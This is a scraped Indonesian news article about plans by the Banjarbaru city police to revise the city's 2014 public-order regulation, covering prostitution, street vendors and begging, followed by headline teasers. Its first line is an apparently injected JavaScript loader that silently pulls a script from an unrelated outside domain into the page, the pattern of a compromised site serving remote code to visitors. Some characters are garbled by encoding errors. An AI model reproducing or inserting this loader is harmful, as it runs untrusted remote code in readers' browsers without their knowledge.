(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Peraturan Daerah (Perda) Kota Banjarbaru Nomor 6 tahun 2014 tentang ketertiban umum (Tibum) bakal direvisi.
Alasan revisi karena Perda tersebut tidak lagi relevan dengan perkembangan situasi kondisi Kota Banjarbaru saat ini.
Kepala Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru, Hidayaturrahman mengatakan, ada beberapa hal yang perlu direvisi dalam Perda tersebut, juga ada beberapa pembahasan mengenai permasalahan sosial di Banjarbaru.
“Ada beberapa poin yang mungkin direvisi,†ujarnya.
Kasatpol PP Banjarbaru Hidayaturahman. Foto: ibnu
Baca juga :Â Baznas HSU Salurkan Rp 274,8 Juta Beasiswa Pelajar dan Mahasiswa
Menurutnya, revisi ini diperlukan guna menyesuaikan perkembangan situasi dan perkembangan zaman yang sudah tidak relevan.
Seperti kasus prostitusi, dalam Perda sekarang difokuskan pada aktivitas prostitusi yang ada di lokalisasi.
“Sekarang prostitusi tak lagi terfokus di sana (lokalisasi, red) sering ditemui juga melalui aplikasi tertentu,” sebutnya.
Selain itu, untuk pedagang kaki lima (PKL), jika dulu, PKL hanya sebatas membuka lapak jualan di bahu jalan atau trotoar, beda hal dengan saat ini. Banyak PKL yang berkamuflase berjualan dengan kendaraan roda dua maupun roda empat.
Lebih lanjut, dikatakan Dayat, terkait regulasi terkait pengemis, jika sebelumnya hanya meminta uang dari pintu ke pintu, kini mereka memakai modus baru seperti badut jalanan.
Baca juga :Â Uji Coba, Bus BRT Rute Kampus ULM Banjarmasin – Banjarbaru Segera Operasi
“Sehingga perlu adanya penyesuaian ini karena definisi-definisi itu tidak dijelaskan di dalamnya (Perda),†katanya.
Disamping itu, Dayat mengatakan dengan revisi Perda, dapat memberikan payung hukum bagi personel Satpol PP yang melakukan penertiban di lapangan.
Ia mengakui telah berkonsultasi ke DPRD Kota Banjarbaru mengenai hal ini dan disambut baik oleh instansi terkait.
Dalam rencana revisi ini, Satpol PP Banjarbaru masih memilah pasal mana saja yang akan disesuaikan dengan kondisi ketertiban masyarakat sekarang.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.